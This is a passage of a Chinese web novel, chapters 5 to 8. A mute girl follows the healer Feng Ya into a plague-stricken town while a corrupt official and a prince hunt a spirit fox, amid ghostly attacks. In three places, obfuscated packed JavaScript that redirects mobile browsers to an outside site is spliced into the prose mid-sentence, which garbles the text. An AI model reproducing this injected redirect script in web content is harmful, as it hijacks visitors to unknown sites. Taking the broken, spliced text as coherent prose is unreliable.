“喝!小美娘上多少小爷我喝多少!” 七寻端着酒给客人满上,眼睛时刻观察着周围的一切。 自冯涯给雪月楼妈妈出了主意,来酒楼的客人逐渐多了起来,每天座无虚席。 倒是没什么异样,难道说还没到时候? 七寻一心二用,穿梭在酒客之间,余光忽然看到一个熟悉的人影。 虽然跟鬼魂状态有些出入,但七寻还是一眼就认出了那人是李清。 5. 隔墙耳 “李大人,听闻李夫人失踪多日,可找回来了?” 李清是背对着七寻坐着的,她看不清对方的表情,只见他摇摇头,悲痛地说:“还没……前几日大雨,马车的痕迹被雨冲散了,派捕快去寻,也没个结果。” “哎,最近景中不太平……”同僚喃喃,又道:"不过李夫人四处行医救人,功德无量。” “她吉人自有天相,定会找到的。” 李清猛灌了一杯酒,说了句什么,同僚摆摆头。 这说话声也太小了,七寻着急地凑近了些,恨不得搬条凳子坐在他们旁边听。 “你怎么跑过来了?” 肩膀上探过来一只手,七寻听得入迷,当即吓了一跳。 青颜敲了下她脑袋,问:“贼眉鼠眼的,干嘛呢?” 她从七寻挖出来的洞看过去,只看到两个喝闷酒的文人,满脸疑惑地提醒道:“酒楼一向注重客人隐私,要是让妈妈知道你在这偷听,小心她关你禁闭。” 七寻面无表情地打着手语。 这是她跟红鸾学的,这几日小有成就。 “我才不是想偷懒。” 青颜这话没有说服力,这间房间小且杂,是专门为想要打探消息的官人准备的。一般情况下,雪月楼的姑娘不会来这。 除了偷懒的。 青颜不满道:“那群酒鬼,烦得很,我躲个清净怎么了?” 七寻不跟她掰扯,自顾自离开。 待她走远,青颜又好奇地偷瞄了几眼,没看出个所以然来。 偷懒撞上同行,现在同行走了,她也不好在这待着,嘴里嘟囔着离开了。 没过一会儿,一个人影从角落猫着身子返回。 正是七寻。 青颜肯定想不到她会折返,这下应该不会有人来打搅她了。 七寻再度看去,发现李清身边那个同僚已经走了,徒留他一个人在那坐着。 她正疑惑着,外面又进来一人。 李清一改刚刚的颓丧,起身笑脸相迎:“大人。” “坐吧。” 来人穿着朴素,但周身气度不凡,一看就不是寻常人。 这人跟李清什么关系? 这是要干什么见不得人勾当,见个面还要找人打掩护。 “灵狐找到了吗?” 李清屁股还没完全坐下,又起身恭维道:“还请大人给我些时间呃……” 那人不耐烦地一脚踹在他腿上,满脸阴翳,“若不是她医术了得,在南林得了民信,本王哪至于一而再再而三地求着你办事!” 李清跪伏在地上,颤巍巍道:“王爷!下官不敢,下官惶恐……还请王爷再给下官一次机会,这次,下官定将冯涯和那灵狐抓来,交到王爷手啊——” 那人脚踩在李清手上,用力碾着,恨声道:“本王给你的机会还少吗!截人那天,本王派给你的人不少吧?你居然让她逃了,你居然让她逃了!本王没直接要你的命已经是便宜你了,你还敢在这讨价还价!” “王爷饶命,王爷饶命!”十指连心,李清额上都是冷汗,为了活命却依旧忍着疼说:“下官知道该怎么引出冯涯!” “她出生商贾之家,后来家中没落才行走江湖行医救人。”李清抬起头,白生生的脸上透着股恶鬼的险恶,“她一向菩萨心肠,只要、只要瘟病再度爆发,定能将她引出来!” 见对方不说话,李清着急道:“这招虽险恶,但只要我们控制住瘟病范围,待她出来逼她交出药方,王爷不仅可以顺利抓到灵狐,还能得一世美名。” 那人挪开了脚,拍拍李清的脸,然后蹲下身扯着他头发,忽地一笑,一字一顿地叫他:“李、大、人。” 那笑跟地狱恶鬼没什么区别,吓得李清面色青白,颤抖着不敢说话。 “不愧得过圣上夸奖的状元郎,心思就是灵活。” “本王等着你的好消息。” 那人走了,徒留李清瘫坐在地上,久久不曾回神。 七寻看着李清跄踉起身,用衣袍遮住受伤的手,推开离去。 灵狐? 七寻眼前浮现出那双竖瞳,难道是桃夭? 她思索着转身,就见一张半人高的狐脸怼在自己面前。 她心脏停了一瞬,眼睛却跟那双流着血泪的狐狸眼睛对视上,一刻不曾挪开,亦或者说她是被这突变吓傻了。 狐脸上慢慢绽放出一抹诡异的笑容,然后越靠越近。 七寻惊悚地后退一步,狐面跟着靠近一步,直到退无可退,后背撞在墙上, “……”现在喊救命还来得及么? 忘了…… 她是个哑巴! 狐面上过长的毛发挠在脸上,七寻无声狂叫,鼻尖浸出冷汗。 她连眼睛都不敢眨一下,怕下一刻自己就身首异处了。 狐面上的血越来越多,眼看着那血就要滴在她脸上,房间门“砰——”的一声从外面打开。 七寻被人揪着耳朵拽了出去,耳边全是老鸨骂骂咧咧的声音:“你个小贱蹄子,竟敢在这偷懒,要不是小翠跟我说,你要懒到什么时候?!” “今晚的晚饭甭想吃了!” 她耳朵被拽得生疼,却无暇顾及,她努力回头望,视线穿过即将关闭的门缝,眼睛与那张依旧漂浮在空中的狐脸对视。 它笑眯眯的,好似在跟她打招呼,脸上的血泪已经淌在木板上,蜿蜒、渗透,不知会流向何处…… 七寻被老鸨关进了柴房,青颜见状本想骂她,见她脸色苍白,像是被勾了魂般,到嘴的话又收了回去。 入夜,七寻坐在黑漆漆的柴房里听着外面热热闹闹的声音,又想起那张带血的狐面。 它想跟自己说什么? 为什么周围的人都看不到它,只有自己可以? “吱吱吱……” 柴房里不会有老鼠吧! 七寻心头一紧,拿着身边的木棍子站在高处,打起十二分精神。 饿她肚子没关系,反正她习惯了,但碰上老鼠什么的,就让她恶心地想吐。 有什么东西忽地从房梁上坠下,攀在她肩膀上活蹦乱跳的。 “……” “干嘛呢?还不接着,真想饿肚子啊?” 柴房上的瓦片被人掀开,借着微光,七寻看到自己肩膀上一块被麻绳吊着的糕点包裹。 黑暗中五官敏感,她真以为是老鼠! “哎哟我滴祖宗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322560|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么还爬上面去了!”老鸨推门而入,看到七寻手中的糕点,顺着麻绳看到了瓦上站着的青颜,顿时两眼一黑,差点吓厥过去,“快下来,下来!” “还不是妈妈你要关小四,她身体本来就不好,饿上一顿那还得了?”青颜攀着爬梯下来,无语凝噎。 “我就是想教训教训她,那房间里死过人,所以一直空着,你们却总喜欢往那跑。”老鸨用手帕擦着泪,说:“如今倒成了我的不是了……” “您怎么不早说,要是这样我就拦着小四了。”青颜捧着七寻的脸,左瞅瞅右看看,担忧地说:“死过人的房子阴气重,她一个小孩子要是被鬼魇住了可怎么办?” “哎哎!青颜,你称病挂牌谢客也有好几天了,明日可不能再这样了,还想不想跟红鸾争头牌了!” “知道了知道~”青颜的吊儿郎当的声音从远处传来,也不知听进去了多少。 七寻简单吃过夜宵,洗完澡后乖乖窝在床上。 青颜不放心地叮嘱:“以后那房间就不要去了,我打听过,妈妈说的死过人不是在唬你,是真的。” 七寻脑袋发晕,点头应她。 她正迷迷糊糊地睡着,耳边传来狐狸诡异的笑声。 笑声连绵不断,直往她耳朵里钻。 黏腻的湿气贴在她脸上,身上像被扎过般疼。 滚开…… 滚一边去…… “怎么突然发热了?你又带着她干嘛了?” “冤枉啊,不关我的事……难道真让鬼魇住了?” “瞎说什么,这世上哪有鬼。” “哦……冯涯还没来吗?” 话音刚落,冯涯火急火燎地走进来,“来了来了,快让我看看。” …… 狐笑声终于褪去,七寻慢慢撑开发涩的眼皮,看到几个晃悠悠的人影。 水…… 她唇间干涩,连呼出的气都是滚烫的。 “应当是渴了。” 七寻被人抱在怀中,喂了几口温水。 额间被冰凉的手指拂过,七寻觉得很舒服,于是追上去蹭了蹭。 冯涯温柔地揉着她脑袋,笑着说:“小四,以后可不能乱跑了。” “冯涯,你说这世上真有鬼神吗?” “有没有鬼神我不知道,但宁可信其有不可信其无。”冯涯收拾着手里的银针,说:“我在外行走那几年,见过很多没钱看病的人,有年过半百的,也有刚出生没多久的婴儿,病得只剩一口气,家里人也只能虔诚地跪在泥土做的神像前祈祷。” 青颜质疑道:“没用的吧?” “有没有用另说,但终归是一份念想。” “如果是小四,我也愿意拜一拜,希望神佛加身,保小四无病无灾。” 七寻窝在她怀里,不禁开始胡思乱想。 就像老鸨说的那般,冯涯是个好姑娘,会医术,懂经商之道,身上还总带着股江湖人士才有的侠气和神佛才有的慈悲。 这样的人总是令人敬佩,让人想要亲近的。 可就是这样一个人,日后被埋在那座孤冷的坟墓里,只余众鬼相伴。 所以,是谁害死的你呢? 会是李清吗? 6. 降神仙 冯涯的腿还没好全,但她不是个耐得住的人,得了空就会拄着拐杖在别院溜达。 见青颜和红鸾两人在柳树下吭哧吭哧挖着什么,她好奇问道:“你们在做什么?” 红鸾无奈摇头:“还不是青颜,突发奇想,要给小四埋几坛女儿红,说等她成婚了用。” “可小四是良家子,如今年纪也不小了……我们其实早就做了打算,想着日后多出点银两,将她送户好人家,不必受我们拖累。” 既要送她离开雪月楼,恐怕往后,就不会让她与这里的人扯上关系。 这女儿红,多半是要浪费掉了。 青颜撇嘴,理直气壮道:“管它用不用得上,但寻常女子有的,我们小四也要有。” 这时,站在一旁的冯涯忽然道:“她身有残缺,恐怕难觅良家。” 青颜:“……” 红鸾:“……” 还没治呢,怎么就开始说风凉话了? 而且这话,还是从冯涯嘴里说出来的。 难不成她也没把握了? 青颜和红鸾对视一眼,都从对方眼中看出落寞之色。 “但若是你们愿意,不如让她跟我学习医术?” 青颜:“真的?” 红鸾考虑得更多一些,“你一个女子,行走江湖本就艰难,再带上她,恐怕……” “活着哪有不难的,看人想要的是什么样的活法。”冯涯说:“你们不妨问问小四,我想,若是她愿意,就算是刀山火海,她也愿意陪着我闯呢。” “问题是年纪小,在路上是个拖累,不是她愿不愿……”她不是质疑冯涯照顾不好小四的意思。 红鸾还想说些什么,却被冯涯打断,她笑容灿烂,好似得了多大便宜似的,“差不多差不多……青颜,你快去把她找来,我早些收了她,好使唤她给我端茶倒水。” 七寻被拽过来时还是愣的,等她了解完前因后果,简直是打心眼里愿意。 她正要查李清和冯涯之间的事,待在冯涯身边,岂不是能获得更多有用的信息。 真是瞌睡来了有人给她递枕头。 红鸾嘱咐道:“既然决定跟着冯涯学习医术,就不能怕吃苦,要乖乖的,可不能再耍小脾气了。” 七寻乖乖应她,心里不由嘀咕,她来之后一直都很乖,哪有不听话的时候。 青颜搭着冯涯肩膀,笑容满面:“冯涯你可别惯着她,有什么事就尽管交给小四去干。” 冯涯也跟着乐,招呼道:“小四,还不快来拜师~” “我也不需你跪着,你敬我杯师父茶就好。” “哪有拜师不行拜师礼的,那多不像话。”青颜做事丝毫不拖泥带水,说着一把将七寻摁在地上跪着。 七寻:“……”拜就拜,反正她不会少块肉。 诚诚恳恳磕头拜师,第二天冯涯就开始教七寻医术。 冯涯拿出几本医书,问她:“你可识字?” 七寻点点头。 她与青颜红鸾住在一处,夜里没事,红鸾就会教她写字。 “这两本医书你拿着,平时没事就拿出来看看背背,不懂的就写在纸上,我晚些一同给你讲清楚。” 冯涯抬手将她脸侧的发别在耳后,给她打预防针:“学医难,师父希望你能坚持下去。” 七寻顿了顿,她只是为了找出真相,不知道能在这里待多久,给不了冯涯一个准确的答复。 “罢了,就算你半途而废,我应该也能在这段时日里将你治好。” 七寻抬头看她,觉得冯涯心肠跟青颜红鸾一样软。 变故来得很快,却在七寻意料之中。 “红鸾,抱歉,南林瘟病复发,我得离开这里。此一别,归期不定。” “瘟病难测,小四就继续待在这里吧。”冯涯脸上戴着面纱,低头歉疚道:“等我回来,我一定可以治好小四,让她开口说话。” “……”红鸾沉默了会儿,摇摇头道:“她这样也不是一天两天了,不急。倒是你,都说伤筋动骨一百天,你此番回去,一定要平平安安的回来。” 见她还为自己担忧,冯涯眉眼带笑,开阔道:“我晓得的。” 青颜疑惑道:“冯涯都要走了,小四呢?她这段时间最喜欢黏着冯涯了,今天怎么没见到她来?” “小孩子嘛,不喜欢离别的。”冯涯收拾好行囊,坐在马车上探出头,向二人挥手道别:“你们帮我转告一声,等我回来,我带南林的桂花糕给她。” 南林桂花糕口味香甜,还带着浓郁的桂花清香,小孩子都喜欢。 “会的~”冯涯走得匆忙,也不便让人知道,青颜只得小声地说:“一路平安……” 红鸾拍拍她颤抖的肩膀,随后与她一起回了雪月楼。 杨柳依依,这是她行走江湖这么多年,第一次生出不舍之意。 直到出了景中,她才想起自己还有很多事情要做。 南林的父母官与她是老相识,这次调遣草药和人员应当不会那般困难了,而且,南林之前就爆发过瘟疫,不少郎中手上都有她给的药方,可为什么南林的瘟病还会爆发呢? 冯涯心中难安,决定写封书信让张大人多做些准备。 至于具体情况,等她去了再看吧。 她怎么不记得自己拿了这么大个箱子…… 难道是红鸾塞给她的? 箱子一打开,冯涯就与那双黑黝黝的眼睛对视上,“小四!” “你怎么跟来了?” “红鸾她们知道吗?” 定然是不知的,知道她就不可能缩在箱子里了。 既然被发现了,七寻也没必要继续委屈自己,于是手脚并用地从箱子里爬出来,大口大口吸着气。 “你知不知道南林很危险,你身体刚好,若是染上瘟病,我如何跟红鸾青颜她们交代?” “我找人把你送回去。”她说着,就要喊马夫停下,“唔……” 看着她倔强的模样,冯涯在心里叹了一声,闷闷的声音从幼嫩的手掌中发出:“小四,放开。” 七寻知道她挣得开,只是不愿伤了自己,才这般好言相劝。 冯涯欲言欲止,最后还是忍不住要开口,她尽量冷着脸,想要让七寻知道事情的严重性:“你不能这样胡闹。” 七寻望着她,眼中慢慢溢出泪光。 冯涯:“……要是青颜知道这事,一准要打你。我都还没骂呢,怎么就哭上了?” 不一样,青颜吃硬的,你吃软的。 七寻扑到她怀里,使劲蹭,蹭得冯涯心软,再说不出一句狠话来。 冯涯抚着她头,无奈地说:“本来还想着你年纪小,跟着我巡诊要吃不少苦,现在看来你是自己找苦头吃。” “你跟着我去南林也行,但是,小四要听师父的话。” 七寻抬起头,用她那副在冯涯看来极具欺骗性的脸连连点头应下。 冯涯暗自叹气,也不知是真乖还是装的。 途中遇小雨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322561|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道路泥泞不好走。 好在南林与景中隔得不远,两人在马车中颠簸了两日便到了。 “冯大夫!您可终于来了。”冯涯还没来得及下马车,就看到张大人带着人在路口迎接。 见他一副着急忙慌的样子,七寻心中一沉。 冯涯跟张大人交谈了几句,面容严峻。她很快做下决定,打算前往感染了瘟疫的百姓家中巡诊。 看到她扫向自己的目光,七寻知道冯涯心中还在顾虑。 于是她主动走过去,伸手拉住了冯涯的衣角。 她什么都没说,冯涯却看懂了她的意思。 “……你年纪这么小,怎么就这么倔呢?” 冯涯蹲下身,脸上是面纱都遮不住的凝重,她帮七寻用巾帕捂住口鼻,强调道:“进去前用巾帕捂住,要捂紧些,绝对绝对不可以摘下来。不要跟感染瘟疫的人靠太近……出了疫家,当著新净衣,切勿让病气沾身。【注】记住了吗?” 七寻老实巴交地点点头。 在冯涯再三叮嘱下,七寻紧紧跟在她身边,未曾偏移过一步。 她跟着冯涯走过一家又一家,冯涯悬丝诊脉隔帐问诊,她则拿着笔在一旁记录。 “多用艾草和醋熏,一定要把病患其他未患病的人隔离开……” “没感染的人也不可大意,都要按时服用避瘟丹。” 南林的百姓都认识冯涯,连连道谢:“多谢冯大夫。” “冯大夫真是菩萨降世……” 听此,七寻眉头微不可见地皱了一下。 接连几天,七寻和冯涯都没睡过一个好觉。 槟榔、厚朴、草果、知母、芍药【注】……七寻累得梦里都在背药方。 可每当她睡得迷迷糊糊的时候,总会感觉到有个人摸摸自己的额头,探着温度,然后放下心来,狠狠松了口气。 七寻知道是冯涯,所以她总会在这之后紧紧抱着她,让她安心,留她多休息会儿。 半个月过去,百姓苦苦问道:“冯大夫,你会治好我们的吧?”他们身上流着脓水,每时每刻都在忍受着瘟疫带来的折磨。 冯涯沉默了会儿,道:“会的。” 七寻跟着沉默了,因为她知道李清他们为了灵狐截断了药材。 没有新的药材弥补空虚,这些人只有等死的份。 在那些人眼中,整个南林百姓的性命,真的就如同地上的草芥一般,一文不值吗? “这么多天过去,我们中没有一个人康愈,你根本就没有能力救我们!” “我就说,女子本该好好待在家中相夫教子,她倒好,带着个孩子跑出来给人看病,她会看什么病!一定是庸医!” 突然,旁边窜出来一个满身脓污的男人,他直直朝冯涯扑了过来,眼前就要撞上,还好七寻眼疾手快,抱着冯涯滚到一边,才幸免于难。 那人瞠目指着她们骂道:“庸医!” “她根本不会看病,她就是个庸医!” “庸医!!!” 这半个月以来,冯涯勤勤恳恳奔赴在这些病患之间,早已精疲力尽,如今还能强撑着站在他们面前,没有倒下去已是万幸。 七寻眼睛扫视过这群乌合之众,瞪着他们。 她真恨自己不能说话,不然定要骂上几句。 正在这时,最先挑唆的男人夺过旁边的汤碗,朝她们扔了过来。 七寻正欲上前,却被人紧紧抱在怀中,再睁眼,只见冯涯额上缓缓流出鲜血…… 7. 白狐现 大门被人暴力破开,张大人带着几个人闯了进来,视线扫过冯涯额上的血,瞳孔微缩,他正欲上前,却被身边那个脸上蒙着厚重巾帕的人拦下。 那人一看到冯涯,眼中顿时迸出冷光,寒声道:“江湖庸医冯涯,欺瞒刺史,祸害百姓,其罪当诛,带走!” 即便他故意压低了声音,七寻还是听出了这人是李清。 不知为何,冯涯好像没听出来。 官差得他一声令下,就要上手抓人。 七寻抓着冯涯的手紧了紧。 冯涯捂着她眼睛,拍拍她后脑勺,“小四不怕,没事的,师父去去就回。” 怎么可能没事…… 七寻心尖抖了抖,院里忽然响起一片惊呼。 “灵狐!” 七寻从冯涯手中挣出,看到小院围墙上站着一只雪白的狐狸。灵狐居高临下地看着众人,眼中透着非常明显的不屑。 “没想到它一直跟在你身上,真是踏破铁鞋无觅处,得来全不费工夫!”李清瞪眼狂喜道:“还愣住干嘛?别管那婆娘了,抓灵狐!” “抓住它,给我抓住它,只要抓到,本官保你们荣华富贵一生!” 闻言,官差们跟打了鸡血般全涌了上去,有些胆大的村民们眼珠子一转,也跟着扑了上去。 狐狸灵巧地跳出包围圈,直奔冯涯而来。 李清眼神一凌,伸手就要抓冯涯,却被狐狸尾巴扫飞了出去。 他狼狈地从地上爬起来,目中尽是阴毒之色,吓得几个准备过来扶他的人连连退后。 “妖怪!” 只一眨眼的功夫,灵狐身子膨大数倍,一时之间整个院子都站不下了,逼得其他人只能四处逃窜,才免去被压扁的悲惨下场。 灵狐竖瞳猝然定在冯涯身上,七寻心里不由得一紧。 下一刻,她就发现自己多虑了。 灵狐低叫一声,然后微微蹲下身。还不待七寻反应,腰间已被毛茸茸的大尾巴缠上,天旋地转后,她已经坐在了灵狐背上。 冯涯不像是第一次,没有丝毫犹豫地抓紧灵狐的皮毛,道:“麻烦你了小狐狸。” 余光扫过拿着弓弩的李清等人,七寻背靠着冯涯,竟也不觉得害怕。 灵狐眸子射出冷光,大尾巴在李清等人的瞪视下轻松一扫,用凌风将这群跳梁小丑甩飞了出去。 一阵人仰马翻过后,再起身,李清等人只看到灵狐急速远去的身影。 七寻被灵狐带着在林中狂奔,不知会去向何处。 发梢被风吹着贴在脸上,迷了眼。朦胧的月光下,她回头看向冯涯,看到对方额头上沾着血,眼中却是怎么也掩饰不住的肆意洒脱。 冯涯低头笑了笑,扯下两人脸上的巾帕,随手丢下。 湿冷的晚风刮在脸上,将这积累了半个月的烦躁尽数吹走。 穿过参天大树、荆棘和沼泽,经过昏暗无光的洞穴,前方豁然一片开朗。 灵狐俯下身,用尾巴搀扶着两人下来。 冯涯亲昵地摸摸灵狐的脑袋,道:“谢谢你了,不然真不知道怎么逃出来。” 灵狐眨眨眼睛,朝她吹了口气,冯涯额头上伤口瞬间愈合。 “谢谢,但我脸上的血还没擦干净,你别把自己蹭脏了。” 灵狐听话地叫了两声,在冯涯掌心蹭了蹭,尾巴“呼呼”摇着,煞是可爱。 七寻觉得新奇,她自被拽入镜中,遇到的狐狸不是狡诈,就是诡异的,还没见过这么……像狗一样单纯软萌的。 “想摸摸吗?” 七寻看看冯涯,又看看白狐,最后没抵住诱惑,不好意思地点点头。 瞬息之间,高大的灵狐缩成小毛团,乖巧地窝在七寻怀中。 “它很喜欢你。” 七寻尝试着给它顺毛,狐狸耳朵在她掌间煽动,分外灵动。 月光如银丝般轻柔地洒在溪水上,犹如一层薄纱。冯涯走过去,捧起凉水“哗哗”扑在脸上。 “呼……” 七寻拿出手帕,帮她擦干脸上的水珠。 夜间冷,两人就近拾捡了些干柴,聚在一起点燃。火苗“噗嗤”一声燃起,四周寂静,只剩柴火噼里啪啦的声音。 冯涯突然问:“小四,你是不是好奇我是怎么认识它的?” 七寻看着她被火光照得暖融融的脸,点点头。 “这事说来话长……”冯涯脸上没有任何勉强,像在讲话本子,娓娓道来:“我幼时与李家公子定下娃娃亲,及笄那年家道中落,不顾家人意愿擅自跟随一名游医在外闯荡过几年。” “直到三年后归家,我才知父亲在我走后第二年因受不住变故病逝。自那之后,母亲最期盼的就是我能有个依靠,便想到了儿时那一纸婚约……虽然我觉得自己并不需要。” 她自幼饱读医书,跟着游医四处游历学习医术,有能力支撑起以后的生活。 更何况,不是嫁了人就有了依靠。 “但为了让母亲放心,我最后还是跟李公子成了婚。” 七寻静静听着,下意识攥紧了衣角。 “放心啦,他对我无意,只是将就着,等日后和离。” “我是在王府宴会上碰到小家伙的。”冯涯摊摊手,夸张道:“你是不知道,那些达官显贵最是无聊,一个个端着阿谀奉承,我实在受不了,便独自在王府庭院中闲逛。” 冯涯手指勾勾白狐下巴,“我碰上它时它浑身是伤,缩在角落里煞是可怜,我只是投喂了些吃食,它便乖乖跟着我走了。” “那时女眷间流行用动物皮毛做衣裳,若碰到个心怀不轨的,它恐怕早没命了。” 七寻比了个手势,问:然后呢? “后来我才知这只白狐是王爷最看重的宠物……”冯涯长叹一口气,“可我都带出王府了,那王爷也不见得是个好东西,所以就干脆藏起来了。” 七寻表示赞同,因为她也觉得那王爷不是好人。 “可惜还没等我和李公子和离,南林突发洪水,死伤无数,一时间瘟病横行。”冯涯手撑在身后,望着夜幕,语气淡淡地说:“我既习得医术,就没有视而不见的道理,于是留下一纸和离书,独自前往南林救人。” “南林不是个安定的地方,它伤好后我就让它离开了,竟不知它一直跟在我身边。” 有些手势七寻不知如何比划,于是在冯涯掌间写道:还回南林吗? “回。我总觉得这次瘟病有些古怪,按理说,不应该治不好才是……”冯涯蹙眉想着,忽然直起身拍拍白狐脊背,小家伙心领神会变大,让她舒服地靠在自己身上休憩,“不过在这之前,最重要的就是睡个好觉。” “不然怎么有力气回南林,探个究竟呢……” 她是真的累了,说着说着已然睡了过去。 白狐蜷缩着,竖瞳半睁不睁,像最忠诚的护卫,随时准备好驱逐误入的野兽。 狐尾不轻不重地搭在两人身上,贴心的遮住凉风。 七寻总觉得不对,在冯涯口中,李清不像个两面三刀卖妻求荣的人……到底是人性多变,还是另有其因? 冯涯真的太困了,以至于这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322562|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一觉直接睡到了第二日下午。 等她醒来,七寻早已备好了野果。 “原来我还打趣,想找个给我端茶倒水的徒弟,如今看歪打正着,还真找到个知心暖心的。” 冯涯吃着吃着忽然想到什么,发愁道:“南林因瘟病被封,你随我来景中多日,不知那日让马夫送回去的信红鸾她们收到没有……” “若是没收到,等回去,她们不得撕了我。” 见她苦恼的模样,七寻心中好笑,于是在她手中一笔一划地写着:没事,我护着师父。 写完七寻就怔住了。 她呐呐回过神来,顺从得被冯涯抱在怀中。 “我是个外人,若犯了错,她们也就脸色黑些,若是你,小心青颜把你屁股打开花,红鸾还要在一旁干看着。”她揉着七寻的头,坐在白狐背上大笑:“我们小四怎么这么好骗哈哈哈……” 她笑得停不下来,七寻气恼地不想理她。 冯涯焉坏焉坏的。 等她们回到南林,天色已黑。 两人一狐跳上张大人宅院房顶,刚掀开瓦片就看到一个滴血的骷髅头。 冯涯:“……” 七寻:“……”确定没走错地方吗? 白狐龇牙,还没来得及伸爪子攻击,爪子就被七寻攥在了手中。 冯涯:“嘘!” 白狐:“……” 冯涯不信邪,接连掀开好几块瓦片,最后发现房间里全是流血鲜血的骷髅头。 怎么回事?七寻心中微沉。 白狐再次变大,让两人坐在它身上,轻松从房顶上跳下。 院子里静悄悄一片,风一吹,带着股浓重的血腥味。 两人屏住呼吸,缓缓往大门的方向挪。 不知是不是心理作用,七寻总觉得这门透着蛊人的血气,仿佛下一刻里面就要冲出无数朝她们索命的,裹满鲜血的骷髅。 心脏扑通扑通地跳着,却越来越快…… “哗——” “什么东西!”冯涯被吓得跳起来,才发现是院里的槐树被风动带出的响声。 低头,只见七寻紧紧抓着她衣角,那双黑白分明的眼睛幽幽地望着她。 就好像在说:师父,你怎么这么胆小? “我……” “砰——” 大门猝然被打开,过重的撞击力让猩红的木门撞在墙上又回弹回来,门内黑气滚滚,隐隐约约可以看到房梁上吊着数不清的尸体和骷髅架子。 尸体腐败的臭气迎面冲来,直叫人肚子酸水翻涌,连着肠和胃一块吐出来。 黑气凝成模糊的人面,猩红着眼,就要飞过来掐人脖子。 冯涯大叫一声:“快跑!” 白狐尾巴一卷,将两人带到背上,它后腿一瞪,就要跃出院子,却在跳起来的那一刻撞上空中无形的屏障,直直摔了下来。 宅院上空亮起炽热红光,法阵从天而降,符咒以迅雷之势将白狐捆住。 白狐变回原形,两人跟着重重摔在地上。 “没事吧?” 冯涯扶着七寻脑袋,着急问了句,见她摇头回应,稍微放心。 她抬眸,眼神凌厉地看着即将冲过来的黑色煞气,手指从怀中掏出一张纸符,口中念叨:“先杀恶鬼,后斩夜光!何神不伏,何鬼敢当?急急……” 亮了一半的纸符被煞气扇飞,冯涯反应灵敏,直接将七寻甩了出去。 七寻连滚带爬地起身,抓过地上的符咒,正要开口念咒,才发现自己是个哑巴! 靠! 8. 入苦狱 眼看煞气就要缠上冯涯,七寻病急乱投医,一把抓过地上被符咒缠住的毛团子,朝鬼煞奋力砸去。 白狐:“……” 凶猛的煞气被灼得滋滋冒烟,怒而狂起,屋内的鬼气被它吸纳融合,庞大的鬼影瞬间罩住整个院子。 冯涯很快反应过来,一手抓起地上的毛团子,一手抱起七寻,在身后鬼影的追逐下,开始夺命狂奔。 颠簸中,一张符咒递到她嘴边。 “……”冯涯来不及感叹,急忙念道:“先杀恶鬼,后斩夜光!何神不伏,何鬼敢当?急急如律令!” 符咒上的符文完全亮起,七寻环住冯涯的脖子,面对着鬼影,将符咒抛了出去。 霎时,鬼影像泄了气的气球般“噗噗”缩小,冯涯无暇顾及,头也不回地继续狂奔。 摆脱危机,穿过森暗小巷,七寻拍拍冯涯,示意对方放自己下来。 四周黑漆漆一片,对面传来纷乱的脚步声,待他们走近,赫然是李清等一众官差。 “你想跑到哪去?” 七寻伸手抱过白狐,拽着冯涯转身,才发现身后的街道不知何时被鬼影堵满了。 冯涯紧蹙着眉头,将七寻挡在身后,问:“昨日那人也是你?” “是我。”李清恨声道:“若不是灵狐突然出现将你带走,我哪还需要在这里守株待兔。” “我就知道,即便被背叛,你也不会放弃这群感染了瘟病的贱民。”他脸上带着得意之色,随后阴冷的瞪着七寻,厉声道:“把灵狐交出来!” 七寻默默在心里竖了个中指,身前那道身影已经“刷”地一下冲了出去,一脚将李清踹翻在地,袖中银针飞过,靠得近的几个官差瞬间倒地。 冯涯动作太快,且出乎所有人意料。李清坐在地上,愣是半天没起来。 眼见冯涯夺过官差手里的刀,李清转而对其他站着的人怒道:“一群蠢货,还傻愣着干什么!还不快抓住她!” “是!” 上来就是七八个人,冯涯一个人哪能应付得过来。七寻想着,一头撞在李清胸口上,直叫他疼得站不起身。 “小四!” 冯涯着急喊着,手中也没歇着,右手挥刀,左手飞针,不消片刻就打得这群官差纷纷退避。 “小四!” “冯涯!” 听到熟悉的声音,两人回首,只见红鸾和青颜衣袂翻飞,踏马而来,宛如救世主般出现在巷口尽头。 李清自然也看到了那两个黑影,破口大骂:“快给本官起来,要是让她们逃了,本官要你们好看!” 阴鬼化作箭矢从天而降,直冲冯涯胸口而去。 七寻想提醒,却发现自己发不出声。 她只是一个早已故去的人,就算真被箭射中也不会有事的…… 想是这样想,身体却比她诚实。 七寻下意识扑过去,使出最大的力气将冯涯撞了出去。 手臂被人拽住,七寻被冯涯带着一同摔在地上。 耳边传来冯涯的声音,这是这么久以来,七寻第一次见到冯涯生气:“你不要命了!” 青颜大喊:“快闭上眼睛,捂住口鼻!” 